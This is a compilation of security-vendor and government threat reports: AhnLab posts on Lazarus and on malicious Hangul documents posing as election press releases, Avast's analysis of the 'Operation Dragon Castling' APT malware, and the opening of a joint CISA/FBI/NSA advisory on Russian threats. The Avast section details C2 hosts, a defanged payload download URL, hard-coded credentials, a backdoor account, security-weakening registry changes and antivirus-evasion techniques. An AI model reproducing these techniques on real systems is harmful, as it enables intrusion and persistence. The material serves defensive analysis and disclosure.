hxxps://www.namchoncc.co.kr/include/?ind=55
Related IOCs and related detailed analysis information can be checked through
AhnLab's next-generation threat intelligence platform 'AhnLab TIP'
subscription service.
Categories: Malware information , incident analysis case
Tagged as: Forensics , Incident , Lazarus
Distribution of malicious Hangul documents disguised as
press releases for the 20th presidential election onboard
voting
asec.ahnlab.com/ko/32330
March 3, 2022
Ahead of the presidential election, the ASEC analysis team confirmed that malicious Korean
documents disguised as 
press release on board the 20th presidential election
were being distributed. The attacker distributed the malicious Korean document on
February 28th, and the malicious document was not secured, but according to the company's
AhnLab Smart Defense (ASD) infrastructure log, it is estimated that the batch file is driven
through the internal OLE object to execute PowerShell. .
Distribution file name: Press release
(220228)_March_1st___March_4th_20th_Presidential Election_Shipboard
Voting_Conducted (final).hwp
[Figure 1] shows the batch file path and Korean file name confirmed in the infrastructure.
While the same normal Korean document size is 2.06 MB, the malicious Korean document is
2.42 MB, and it seems that the document was created by inserting an additional BAT file
inside.
[Figure 1] ASD infrastructure collection
%TEMP%\mx6.bat (path of batch file creation)
A similar type of attack was also confirmed on February 7th. According to the article, the
attacker impersonated the National Election Commission (NEC) and distributed malicious
documents disguised as a normal document titled 
Public Recruitment of Counting
Observers for the 20th Presidential Election
North Korean hackers distributing malicious press releases under the guise of the National
Election Commission
 | DailyNK
It was found on the 8th that a North Korean hacking organization was distributing hacking emails impersonating the National Election Commission (NEC). Considering the fact that the
press release distributed by the National Election Commission was used, it is highly likely
that the attack is being carried out targeting journalists in the media, so caution is required.
The common features of the malicious Hangul documents that were circulated at the time
and the documents used in this attack are as follows.
Dissemination of malicious Korean documents disguised as the same institution (NEC)
Inducing Batch File Execution in OLE Object Way
A PowerShell command containing a variable name ( $kkx9 ) similar to the one used
in the NEC impersonation attack on 2/7 ( $kk y4 )
Part of the PowerShell command: ( $kkx9 ='[DllImport(
user32.dll
)] public
static extern bool ShowWindow(int handle, int state);')
[Figure 2] Some of the collected PowerShell commands
[Figure 3] below is a normal Korean document presumed to have been used by the attacker
for distribution.
[Figure 3] Normal Korean document (press release
(220228)_March_1st___March_4th_20th_Presidential Election_Shipboard Voting_Conduct
(final).hwp)
Normal official Korean documents can be found on the official website of the National
Election Commission ( https://www.nec.go.kr/ ), and users should be skeptical when
downloading similar documents from an unknown site.
https://www.nec.go.kr/cmm/dozen/view.do?cbIdx=1090&bcIdx=164018&fileNo=1
(Document download address)
The attackers seem to be carrying out various attacks impersonating the National Election
Commission as the 20th presidential election approaches. AhnLab continues to monitor
similar malicious behaviors and will share new information as soon as it becomes available.
[AhnLab V3 product correspondence]
[Behavior Detection]
 Execution/MDP.Powershell.M4208
Related IOCs and related detailed analysis information can be checked through
AhnLab's next-generation threat intelligence platform 'AhnLab TIP'
subscription service.
Categories: Malware information
Tagged as: National Election Commission , Korean document
Operation Dragon Castling: APT group targeting betting companies
decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies
March 22, 2022
Introduction
We recently discovered an APT campaign we are calling Operation Dragon Castling . The campaign is
targeting what appears to be betting companies in South East Asia , more specifically companies located
in Taiwan , the Philippines , and Hong Kong . With moderate confidence, we can attribute the campaign
to a Chinese speaking APT group , but unfortunately cannot attribute the attack to a specific group and
are not sure what the attackers are after.
We found notable code similarity between one of the modules used by this APT group (the MulCom
backdoor ) and the FFRat samples described by the BlackBerry Cylance Threat Research Team in
their 2017 report and Palo Alto Networks in their 2015 report. Based on this, we suspect that the
FFRat codebase is being shared between several Chinese adversary groups. Unfortunately, this is not
sufficient for attribution as FFRat itself was never reliably attributed.
In this blogpost we will describe the malware used in these attacks and the backdoor planted by the APT
group, as well as other malicious files used to gain persistence and access to the infected machines. We will
also discuss the two infection vectors we saw being used to deliver the malware: an infected installer and
exploitation of a vulnerable legitimate application, WPS Office .
We identified a new vulnerability (CVE-2022-24934) in the WPS Office updater wpsupdate.exe, which we
suspect that the attackers abused.
We would like to thank Taiwan
s TeamT5 for providing us with IoCs related to the infection vector.
Infrastructure and toolset
1/18
In the diagram above, we describe the relations between the malicious files. Some of the relations might not
be accurate, e.g. we are not entirely sure if the MulCom backdoor is loaded by the CorePlugin . However, we
strongly believe that it is one of the malicious files used in this campaign.
Infection Vector
ve seen multiple infection vectors used in this campaign. Among others, an attacker sent an email with an
infected installer to the support team of one of the targeted companies asking to check for a bug in their
software. In this post, we are going to describe another vector we
ve seen: a fake WPS Office update
package. We suspect an attacker exploited a bug in the WPS updater wpsupdate.exe , which is a part of the
WPS Office installation package. We have contacted WPS Office team about the vulnerability ( CVE-202224934 ), which we discovered, and it has since been fixed.
During our investigation we saw suspicious behavior in the WPS updater process. When analyzing the binary
we discovered a potential security issue that allows an attacker to use the updater to communicate with a
server controlled by the attacker to perform actions on the victim
s system, including downloading and
running arbitrary executables. To exploit the vulnerability, a registry key under HKEY_CURRENT_USER needs
to be modified, and by doing this an attacker gains persistence on the system and control over the update
process. In the case we analyzed, the malicious binary was downloaded from the domain update.wps[.]cn ,
which is a domain belonging to Kingsoft , but the serving IP ( 103.140.187.16 ) has no relationship to the
company, so we assume that it is a fake update server used by the attackers.
The downloaded binary ( setup_CN_2052_11.1.0.8830_PersonalDownload_Triale.exe B9BEA7D1822D9996E0F04CB5BF5103C48828C5121B82E3EB9860E7C4577E2954 ) drops two files for
2/18
sideloading: a signed QMSpeedupRocketTrayInjectHelper64.exe - Tencent Technology
(a3f3bc958107258b3aa6e9e959377dfa607534cc6a426ee8ae193b463483c341) and a malicious DLL
QMSpeedupRocketTrayStub64.dll.
Dropper 1 (QMSpeedupRocketTrayStub64.dll)
76adf4fd93b70c4dece4b536b4fae76793d9aa7d8d6ee1750c1ad1f0ffa75491
The first stage is a backdoor communicating with a C&C ( mirrors.centos.8788912[.]com ). Before
contacting the C&C server, the backdoor performs several preparational operations. It hooks three functions:
GetProcAddress , FreeLibrary , LdrUnloadDll . To get the C&C domain, it maps itself to the memory
and reads data starting at the offset 1064 from the end. The domain name is not encrypted in any way and
is stored as a wide string in clear text in the binary.
Then it initializes an object for a JScript class with the named item ScriptHelper . The dropper uses the
ImpersonateLoggedOnUser API Call to re-use a token from explorer.exe so it effectively runs under the
same user. Additionally, it uses RegOverridePredefKey to redirect the current HKEY_CURRENT_USER to
HKEY_CURRENT_USER
of an impersonated user. For communication with C&C it constructs a UserAgent
string with some system information e.g. Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1;.NET
CLR 2.0). The information that is exfiltrated is: Internet Explorer version, Windows
version, the value of the 
User Agent\Post Platform
 registry values.
After that, the sample constructs JScript code to execute. The header of the code contains definitions of
two variables: server with the C&C domain name and a hardcoded key . Then it sends the HTTP GET
request to /api/connect, the response should be encrypted JScript code that is decrypted, appended to
the constructed header and executed using the JScript class created previously.
At the time of analysis, the C&C was not responding, but from the telemetry data we can conclude that it was
downloading the next stage from
hxxp://mirrors.centos.8788912.com/upload/ea76ad28a3916f52a748a4f475700987.exe to
%ProgramData%\icbc_logtmp.exe and executing it.
Dropper 2 (IcbcLog)
a428351dcb235b16dc5190c108e6734b09c3b7be93c0ef3d838cf91641b328b3
The second dropper is a runner that, when executed, tries to escalate privileges via the COM Session
Moniker Privilege Escalation (MS17-012) , then dropping a few binaries, which are stored with the
following resource IDs:
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Resource ID
Filename
Description
1825
smcache.dat
List of C&C domains
1832
log.dll
Loader (CoreX) 64bit
1840
bdservicehost.exe
Signed PE for sideloading 64bit
1841
Filenames for sideloading
1817
inst.dat
Working path
1816
hostcfg.dat
Used in the Host header, in C&C communication
1833
bdservicehost.exe
Signed PE for sideloading 32bit 
 N/A
1831
log.dll
Loader (32bit) 
 N/A
The encrypted payloads have the following structure:
The encryption key is a wide string starting from offset 0x8 . The encrypted data starts at the offset 0x528 .
To decrypt the data, a SHA256 hash of the key is created using CryptHashData API, and is then used with a
hard-coded IV 0123456789abcde to decrypt the data using CryptDecrypt API with the AES256
algorithm. After that, the decrypted data is decompressed with RtlDecompressBuffer . To verify that the
decryption went well, the CRC32 of the data is computed and compared to the value at the offset 0x4 of
the original resource data. When all the payloads are dropped to the disk, bdservicehost.exe is executed
to run the next stage.
Loader (CoreX)
97c392ca71d11de76b69d8bf6caf06fa3802d0157257764a0e3d6f0159436c42
The Loader (CoreX) DLL is sideloaded during the previous stage (Dropper 2) and acts as a dropper.
Similarly to Dropper 1 , it hooks the GetProcAddress and FreeLibrary API functions. These hooks
execute the main code of this library. The main code first checks whether it was loaded by regsvr32.exe
and then it retrieves encrypted data from its resources. This data is dropped into the same folder as
syscfg.dat . The file is then loaded and decrypted using AES-256 with the following options for setup:
Key is the computer name and IV is qwertyui12345678
AES-256 setup parameters are embedded in the resource in the format <key>#<IV> . So you may e.g.
see cbfc2vyuzckloknf#8o3yfn0uee429m8d
AES-256 setup parameters
The main code continues to check if the process ekrn.exe is running. ekrn.exe is an ESET Kernel
service. If the ESET Kernel service is running, it will try to remap ntdll.dll . We assume that this is used to
bypass ntdll.dll hooking.
4/18
After a service check, it will decompress and execute shellcode, which in turn loads a DLL with the next stage.
The DLL is stored, unencrypted, as part of the shellcode. The shellcode enumerates exports of ntdll.dll
and builds an array with hashes of names of all Zw* functions (windows native API system calls) then sorts
them by their RVA. By doing this, the shellcode exploits the fact that the order of RVAs of Zw* functions
equals the order of the corresponding syscalls, so an index of the Zw* function in this array is a syscall
number, which can be called using the syscall instruction. Security solutions can therefore be bypassed based
on the hooking of the API in userspace. Finally, the embedded core module DLL is loaded and executed.
Proto8 (Core module)
f3ed09ee3fe869e76f34eee1ef974d1b24297a13a58ebff20ea4541b9a2d86c7
The core module is a single DLL that is responsible for setting up the malware
s working directory, loading
configuration files, updating its code, loading plugins, beaconing to C&C servers and waiting for commands.
It has a cascading structure with four steps:
Step 1
The first part is dedicated to initial checks and a few evasion techniques. At first, the core module verifies that
the DLL is being run by spdlogd.exe (an executable used for persistence, see below) or that it is not being
run by rundll32.exe. If this check fails, the execution terminates. The DLL proceeds by hooking the
GetProcAddress and FreeLibrary functions in order to execute the main function, similarly to the
previous infection stages.
The GetProcAddress hook contains an interesting debug output 
in googo
The malware then creates a new window (named Sample ) with a custom callback function. A message with
the ID 0x411 is sent to the window via SendMessageW which causes the aforementioned callback to
execute the main function. The callback function can also process the 0x412 message ID, even though no
specific functionality is tied to it.
Exported function Core2 sends message 0x411
5/18
Exported function Ldr2 sends message 0x412
The window callback only contains implementation for message 0x411
but there is a check for 0x412 as well
Step 2
In the second step, the module tries to self-update, load configuration files and set up its working directory
(WD).
Self-update
6/18
The malware first looks for a file called new_version.dat 
 if it exists, its content is loaded into memory,
executed in a new thread and a debug string 
run code ok
 is printed out. We did not come across this file,
but based on its name and context, this is most likely a self update functionality.
Load configuration file inst.dat and set up working directory. First, the core module configuration file
inst.dat is searched for in the following three locations:
the directory where the core module DLL is located
the directory where the EXE that loaded the core module DLL it is located
C:\ProgramData\
It contains the path to the malware
s working directory in plaintext. If it is not found, a hard-coded directory
name is used and the directory is created. The working directory is a location the malware uses to drop or
read any files it uses in subsequent execution phases.
Load configuration file smcache.dat .
After the working directory is set up, the sample will load the configuration file smcache.dat from it. This
file contains the domains, protocols and port numbers used to communicate with C&C servers (details in Step
4) plus a 
comment
 string. This string is likely used to identify the campaign or individual victims. It is
used to create an empty file on the victim
s computer (see below) and it
s also sent as a part of the initial
beacon when communicating with C&C servers. We refer to it as the 
comment string
 because we have
seen a few versions of smcache.dat where the content of the string was 
the comment string here
 and
it is also present in another configuration file with the name comment.dat which has the INI file format and
contains this string under the key COMMENT.
Create a log file
Right after the sample finds and reads smcache.dat, it creates a file based on the victim
s username and the
comment string from smcache.dat. If the comment string is not present, it will use a default hard-coded value
(for example M86_99.lck ). Based on the extension it could be a log of some sort, but we haven
t seen any
part of the malware writing into it so it could just serve as a lockfile. After the file is successfully created, the
malware creates a mutex and goes on to the next step.
Step 3
Next, the malware collects information about the infected environment (such as username, DNS and NetBios
computer names as well as OS version and architecture) and sets up its internal structures, most notably a list
call objects
 . Call objects are structures each associated with a particular function and saved into a
dispatcher
 structure in a map with hard-coded 4-byte keys. These keys are later used to call the
functions based on commands from C&C servers.
The key values (IDs) seem to be structured, where the first three bytes are always the same within a given
sample, while the last byte is always the same for a given usage across all the core module samples that we
seen. For example, the function that calls the RevertToSelf function is identified by the number
7/18
0x20210326 in some versions of the core module that we
ve seen and 0x19181726 in others. This
suggests that the first three bytes of the ID number are tied to the core module version, or more likely the
infrastructure version, while the last byte is the actual ID of a function.
ID (last byte)
Function description
0x02
unimplemented function
0x19
retrieves content of smcache.dat and sends it to the C&C server
0x1A
writes data to smcache.dat
0x25
impersonates the logged on user or the explorer.exe process
0x26
function that calls RevertToSelf
0x31
receives data and copies it into a newly allocated executable buffer
0x33
receives core plugin code, drops it on disk and then loads and calls it
0x56
writes a value into comment.dat
Webdav
While initializing the call objects the core module also tries to connect to the URL
hxxps://dav.jianguoyun.com/dav/ with the username 12121jhksdf and password 121121212 by
calling WNetAddConnection3W . This address was not responsive at the time of analysis but
jianguoyun[.]com is a Chinese file sharing service. Our hypothesis is that this is either a way to get plugin
code or an updated version of the core module itself.
Plugins
The core module contains a function that receives a buffer with plugin DLL data, saves it into a file with the
name kbg<tick_count>.dat in the malware working directory, loads it into memory and then calls its
exported function InitCorePlug . The plugin file on disk is set to be deleted on reboot by calling
MoveFileExW with the parameter MOVEFILE_DELAY_UNTIL_REBOOT . For more information about the
plugins, see the dedicated Plugins section.
Step 4
In the final step, the malware will iterate over C&C servers contained in the smcache.dat configuration file
and will try to reach each one. The structure of the smcache.dat config file is as follows:
The protocol string can have one of nine possible values:
HTTPS
ICMP
HTTPSIPV6
HTTP
8/18
Depending on the protocol tied to the particular C&C domain, the
malware sets up the connection, sends a beacon to the C&C and
waits for commands.
In this blogpost, we will mainly focus on the HTTP protocol option
as we
ve seen it being used by the attackers.
The structure of the smcache.dat config
file
When using the HTTP protocol, the core module first opens two persistent request handles 
 one for POST
and one for GET requests, both to 
/connect
 . These handles are tested by sending an empty buffer in the
POST request and checking the HTTP status code of the GET request. Following this, the malware sends
the initial beacon to the C&C server by calling the InternetWriteFile API with the previously opened
POST request handle and reads data from the GET request handle by calling InternetReadFile .
HTTP packet order
9/18
HTTP POST beacon
The core module uses the following (mostly hard-coded) HTTP headers:
Accept: */*
x-cid: {<uuid>} 
 new uuid is generated for each GET/POST
request pair
Pragma: no-cache
Cache-control: no-transform
User-Agent: <user_agent> 
 generated from registry or hard-coded (see below)
Host: <host_value> 
 C&C server domain or the value from hostcfg.dat (see below)
Connection: Keep-Alive
Content-Length: 4294967295 (max uint, only in the POST request)
User-Agent header
The User-Agent string is constructed from the registry the same way as in the Dropper 1 module (including
the logged-on user impersonation when accessing registry) or a hard-coded string is used if the registry access
fails: 
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET
CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Host header
When setting up this header, the malware looks for either a resource with the ID 1816 or a file called
hostcfg.dat if the resource is not found. If the resource or file is found, the content is used as the value in
the Host HTTP header for all C&C communication instead of the C&C domain found in smcache.dat . It
does not change the actual C&C domain to which the request is made 
 this suggests the possibility of the
C&C server being behind a reverse proxy.
Initial beacon
The first data packet the malware sends to a C&C server contains a base64 encoded LZNT1-compressed
buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim
username, OS version and architecture, computer DNS and BIOS names and the comment string found in
smcache.dat or comment.dat . The value from comment.dat takes precedence if this file exists.
In the core module sample we analyzed, there was actually a typo in the function that reads the value from
comment.dat 
 it looks for the key 
COMMNET
 instead of 
COMMENT
10/18
After this, the malware enters a loop waiting for commands from the C&C server in the form of the ID value of
one of the call objects.
Each message sent to the C&C server contains a hard-coded four byte number value with the same structure
as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&C
servers that we
ve seen are:
ID (last byte)
Usage
0x1B
message to C&C which contains smcache.dat content
0x24
message to C&C which contains a debug string
0x2F
general message to C&C
0x30
message to C&C, unknown specific purpose
0x32
message to C&C related to plugins
0x80
initial beacon to a C&C server
Interesting observations about the protocols, other than the HTTP protocol:
HTTPS does not use persistent request handles
HTTPS uses HTTP GET request with data Base64-encoded in the cookie header to send the initial
beacon
HTTPS, TCP and UDP use a custom 
magic
 header: Magic-Code: hhjjdfgh
General observations on the core module
The core samples we observed often output debug strings via OutputDebugStringA and
OutputDebugStringW or by sending them to the C&C server. Examples of debug strings used by the core
module are: its filepath at the beginning of execution, 
run code ok
 after self-update, 
In googo
the hook of GetProcAddress , 
recv bomb
 and 
sent bomb
 in the main C&C communicating
function, etc.
String obfuscation
We came across samples of the core module with only cleartext strings but also samples with certain strings
obfuscated by XORing them with a unique (per sample) hard-coded key.
Even within the samples that contain obfuscated strings, there are many cleartext strings present and there
seems to be no logic in deciding which string will be obfuscated and which won
t. For example, most format
strings are obfuscated, but important IoCs such as credentials or filenames are not.
To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated
and the call to GetPrivateProfileStringW is dynamically resolved by the GetProcAddress API, but all
the strings in the function that writes into the same config file are in cleartext and there is a direct call to
11/18
WritePrivateProfileStringW .
Overall, the core module code is quite robust and contains many failsafes and options for different scenarios
(for example, the amount of possible protocols used for C&C communication), however, we probably only saw
samples of this malware that are still in active development as there are many functions that are not yet
implemented and only serve as placeholders.
Plugins
In the section below, we will describe the functionality of the plugins used by the Core Module (Proto8) to
extend its functionality.
We are going to describe three plugins with various functionalities, such as:
Achieving persistence
Bypassing UAC
Registering an RPC interface
Creating a new account
Backdoor capabilities
Core Plugin
0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755
This plugin is a DLL binary loaded by the fileless core module ( Proto8 ) as mentioned above. It extends the
malware
s functionality by adding methods for managing additional plugins. These additional plugins export
the function "GetPlugin" which the core plugin executes.
This part uses the same command ID based calling convention as the core module (see above), adding three
new methods:
ID (last byte)
Function description
0x2B
send information about plugin location to the to C&C server
0x2C
remove a plugin
0x2A
load a plugin
All plugin binaries used by the core module are stored in the working directory under the name
kbg<tick_count>.dat . After the Core Plugin is loaded, it first removes all plugins from the working
directory 
 see the image below.
12/18
Zload(Atomx.dll,xps1.dll)
2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876
The DLL we call Zload is an example of a plugin loaded by the Core Plugin . It exports four functions:
GetPlugin
Install
core_zload
 and 
zload
 . The main functionality of this plugin is setting
up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus
on the exported functions zload , core_zload and the default DllMain function, as they contain the
most interesting functionality.
Zload (process starter)
This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the
directory where the Zload plugin binary is located (<root_folder>) and creates a new subfolder called
"mec" in it. After this it renames and moves three files into it:
the Zload plugin binary itself as <root_folder>\mec\logexts.dll ,
<root_folder>\spdlogd.exe as <root_folder>\mec\spdagent.exe and
<root_folder>\kb.ini as <root_folder>\mec\kb.ini
After the files are renamed and moved, it creates a new process by executing the binary
<root_folder>\mec\spdagent.exe (originally <root_folder>\spdlogd.exe ).
core_zload (persistence setup)
This function is responsible for persistence which it achieves by registering itself into the list of security
support providers (SSPs). Windows SSP DLLs are loaded into the Local Security Authority (LSA)
process when the system boots. The code of this function is notably similar to the
mimikat_ssp/AddSecurityPackage_RawRPC source code found on github.
DllMain (sideloading, setup)
The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker
to create a backdoor account on the infected system and lower the overall system security.
13/18
Persistence
The plugin first checks if its DLL was loaded either by the processes 
lsass.exe
 or 
spdagent.exe
 . If
the DLL was loaded by 
spdagent.exe
 , it will adjust the token privileges of the current process.
If it was loaded by 
lsass.exe
 , it will retrieve the path 
kb<num>.dll
 from the configuration file
kb.ini
 and write it under the registry key
HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters
AutodialDLL . This ensures persistence, as it causes the DLL 
kb<num>.dll
 to be loaded each time the
Winsock 2 library ( ws2_32.dll ) is invoked.
Evasion
To avoid detection, the plugin first checks the list of running processes for 
avp.exe
 (Kaspersky Antivirus)
NortonSecurity.exe
 and exits if either of them is found. If these processes are not found on the
system, it goes on to conceal itself by changing its own process name to 
explorer.exe
The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through
CMSTP COM interfaces, such as CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7} .
Backdoor user account creation
Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the
system
s protection by:
Allowing local accounts to have full admin rights when they are authenticating via network logon
Enabling RDP connections to the machine without the user password
Disabling admin approval on an administrator account, which means that all applications run with full
administrative privileges
Enabling anonymous SID to be part of the everyone group in Windows
Allowing 
Null Session
 users to list users and groups in the domain
Allowing 
Null Session
 users to access shared folders
Setting the name of the pipe that will be accessible to 
Null Session
 users
After this step, the plugin changes the WebClient service startup type to 
Automatic
 . It creates a new
user with the name 
DefaultAccount
 and the password 
Admin@1999!
 which is then added to the
Administrator
 and 
Remote Desktop Users
 groups. It also hides the new account on the logon
screen.
As the last step, the plugin checks the list of running processes for process names 
360tray.exe
 and
360sd.exe
 and executes the file "spdlogd.exe" if neither of them is found.
MecGame(kb%num%.dll)
4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47AD
MecGame is another example of a plugin that can be loaded by the Core Plugin . Its main purpose is
similar to the previously described Zload plugin 
 it executes the binary 
spdlogd.exe
 and achieves
persistence by registering an RPC interface with UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF} . This
RPC interface represents a function that decodes and executes a base64 encoded shellcode.
The MecGame plugin has several methods for executing spdlogd.exe depending on the level of available
privileges. It also creates a lockfile with the name MSSYS.lck or <UserName>-XPS.lck depending on the
name of the process that loaded it, and deletes the files atomxd.dll and logexts.dll .
14/18
It can be installed as a service with the service name 
inteloem
 or can be loaded by any executable that
connects to the internet via the Winsock2 library.
MulCom
ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2
This DLL is a backdoor module which exports four functions: 
OperateRoutineW
StartRoutineW
StopRoutineW
 and 
WorkRoutineW
 ; the main malicious function being 
StartRoutineW
For proper execution, the backdoor needs configuration data accessed through a shared object with the file
mapping name either 
Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB
 or "Local\\4ED8FD412D1B-4CC3-B874-02F0C60FF9CB
 . Unfortunately we didn
t come across the configuration data, so we are
missing some information such as the C&C server domains this module uses.
There are 15 commands supported by this backdoor (although some of them are not implemented) referred to
by the following numerical identifiers:
Command
Function description
Sends collected data from executed commands. It is used only if the authentication with a
proxy is done through NTLM
Finds out information about the domain name, user name and security identifier of the
process explorer.exe . It finds out the user name, domain name, and computer name of
all Remote Desktop sessions.
Enumerates root disks
Enumerates files and finds out their creation time, last access time and last write time
Creates a process with a duplicated token. The token is obtained from one of the processes
in the list (see Appendix).
Enumerates files and finds out creation time, last time access, last write time
Renames files
Deletes files
Creates a directory
Sends an error code obtained via GetLastError API function
Enumerates files in a specific folder and finds out their creation time, last access time and
last write time
Uploads a file to the C&C server
Not implemented (reserved)
Combination
105/106/107
Creates a directory and downloads files from the C&C server
Communication protocol
15/18
The MulCom backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges
with the C&C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the
RC4 key loaded from the configuration data object.
It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to
authenticate via either the SOCKS4 and SOCKS5 protocols.
After successful authentication with a proxy server, the backdoor sends data xorred by the constant 0xBC .
This data is a set with the following structure:
Data structure
Another interesting capability of this backdoor is the usage of layered C&C servers. If this option is enabled in
the configuration object (it is not the default option), the first request goes to the first layer C&C server, which
returns the IP address of the second layer. Any subsequent communication goes to the second layer directly.
As previously stated, we found several code similarities between the MulCom DLL and the FFRat (a.k.a.
FormerFirstRAT ).
Conclusion
We have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting
gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code
similarities between FFRat samples and the MulCom backdoor. FFRat or "FormerFirstRAT'' has
been publicly associated with the DragonOK group according to the Palo Alto Network report, which has in
turn been associated with backdoors like PoisonIvy and PlugX 
 tools commonly used by Chinese
speaking attackers.
We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater.
We rate the threat this infection vector represents as very high, as WPS Office claims to have 1.2 billion
installations worldwide, and this vulnerability potentially allows a simple way to execute arbitrary code on
any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since
been fixed.
Our research points to some unanswered questions, such as reliable attribution and the attackers
 motivation.
Appendix
List of processes:
360sd.exe
360rp.exe
360Tray.exe
360Safe.exe
360rps.exe
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ZhuDongFangYu.exe
kxetray.exe
kxescore.exe
KSafeTray.exe
KSafe.exe
audiodg.exe
iexplore.exe
MicrosoftEdge.exe
MicrosoftEdgeCP.exe
chrome.exe
Registry values changed by the Zload plugin:
Registry path in HKEY_LOCAL_MACHINE
Registry key
SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System
LocalAccountTokenFilterPolicy
= 1 FilterAdministratorToken =
SYSTEM\\CurrentControlSet\\Control\\Lsa
LimitBlankPasswordUse = 0
EveryoneIncludesAnonymous
= 1 RestrictAnonymous = 0
System\\CurrentControlSet\\Services\\LanManServer\\Parameters
RestrictNullSessAccess = 0
NullSessionPipes =
RpcServices
Core module working directory (WD)
Default hard-coded WD names (created either in C:\ProgramData\ or in %TEMP% ):
spptools
NewGame
TspSoft
InstallAtomx
File used to test permissions: game_<tick_count>.log 
 the WD path is written into it and then the file is
deleted.
Hard-coded security descriptor used for WD access: 
D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)
Lockfile name format: 
<working_dir>\<victim_username>-<comment_string>.log
Core module mutexes:
Global\sysmon-windows-%x (%x is a CRC32 of an MD5 hash of the victim
s username)
Global\IntelGameSpeed-%x (%x is a CRC32 of an MD5 hash of the victim
s username
Global\TencentSecuriryAgent-P01-%s
(%s is the victim
s username)
Indicators of Compromise (IoC)
Repository: https://github.com/avast/ioc/tree/master/OperationDragonCastling
17/18
List of SHA256: https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256
Avast Threat Intelligence Team has found a remote access tool (RAT) actively being used in the wild in the
Philippines that uses what appears to be a compromised digital certificate belonging to the Philippine Navy.
This is the story of piecing together information and research leading to the discovery of one of the largest
botnet-as-a-service cybercrime operations we
ve seen in a while. This research reveals that a cryptomining
malware campaign we...
18/18
Co-Authored by:
TLP:WHITE
Product ID: AA22-011A
January 11, 2022
Understanding and Mitigating Russian StateSponsored Cyber Threats to U.S. Critical
Infrastructure
SUMMARY
This joint Cybersecurity Advisory (CSA)
authored by the
Cybersecurity and Infrastructure Security Agency (CISA),
Federal Bureau of Investigation (FBI), and National Security
Agency (NSA)
is part of our continuing cybersecurity
mission to warn organizations of cyber threats and help the
cybersecurity community reduce the risk presented by these
threats. This CSA provides an overview of Russian statesponsored cyber operations; commonly observed tactics,
techniques, and procedures (TTPs); detection actions;
incident response guidance; and mitigations. This overview is
intended to help the cybersecurity community reduce the risk
presented by these threats.
Actions critical infrastructure
organizations should implement to
immediately strengthen their cyber
posture.
 Patch all systems. Prioritize
patching known exploited
vulnerabilities.
 Implement multi-factor
authentication.
 Use antivirus software.
 Develop internal contact lists
and surge support.
CISA, the FBI, and NSA encourage the cybersecurity
community
especially critical infrastructure network
defenders
to adopt a heightened state of awareness and to conduct proactive threat hunting, as
outlined in the Detection section. Additionally, CISA, the FBI, and NSA strongly urge network
defenders to implement the recommendations listed below and detailed in the Mitigations section.
These mitigations will help organizations improve their functional resilience by reducing the risk of
compromise or severe business degradation.
To report suspicious or criminal activity related to information found in this Joint Cybersecurity Advisory, contact
your local FBI field office at fbi.gov/contact-us/field, or the FBI
s 24/7 Cyber Watch (CyWatch) at
(855) 292-3937 or by e-mail at CyWatch@fbi.gov. When available, please include the following information
regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of
equipment used for the activity; the name of the submitting company or organization; and a designated point of
contact. To request incident response resources or technical assistance related to these threats, contact CISA at
CISAServiceDesk@cisa.dhs.gov. For NSA client requirements or general cybersecurity inquiries, contact the
Cybersecurity Requirements Center at 410-854-4200 or Cybersecurity_Requests@nsa.gov.
This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information
carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public
release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
For more information on the Traffic Light Protocol, see cisa.gov/tlp/.
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1. Be prepared. Confirm reporting processes and minimize personnel gaps in IT/OT security
coverage. Create, maintain, and exercise a cyber incident response plan, resilience plan, and
continuity of operations plan so that critical functions and operations can be kept running if
technology systems are disrupted or need to be taken offline.
2. Enhance your organization
s cyber posture. Follow best practices for identity and access
management, protective controls and architecture, and vulnerability and configuration
management.
3. Increase organizational vigilance. Stay current on reporting on this threat. Subscribe to
CISA
s mailing list and feeds to receive notifications when CISA releases information about a
security topic or threat.
CISA, the FBI, and NSA encourage critical infrastructure organization leaders to review CISA
Insights: Preparing for and Mitigating Cyber Threats for information on reducing cyber threats to their
organization.
TECHNICAL DETAILS
Note: this advisory uses the MITRE ATT&CK
 for Enterprise framework, version 10. See
the ATT&CK for Enterprise for all referenced threat actor tactics and techniques.
Historically, Russian state-sponsored advanced persistent threat (APT) actors have used common
but effective tactics
including spearphishing, brute force, and exploiting known vulnerabilities against
accounts and networks with weak security
to gain initial access to target networks. Vulnerabilities
known to be exploited by Russian state-sponsored APT actors for initial access include:
CVE-2018-13379 FortiGate VPNs
CVE-2019-1653 Cisco router
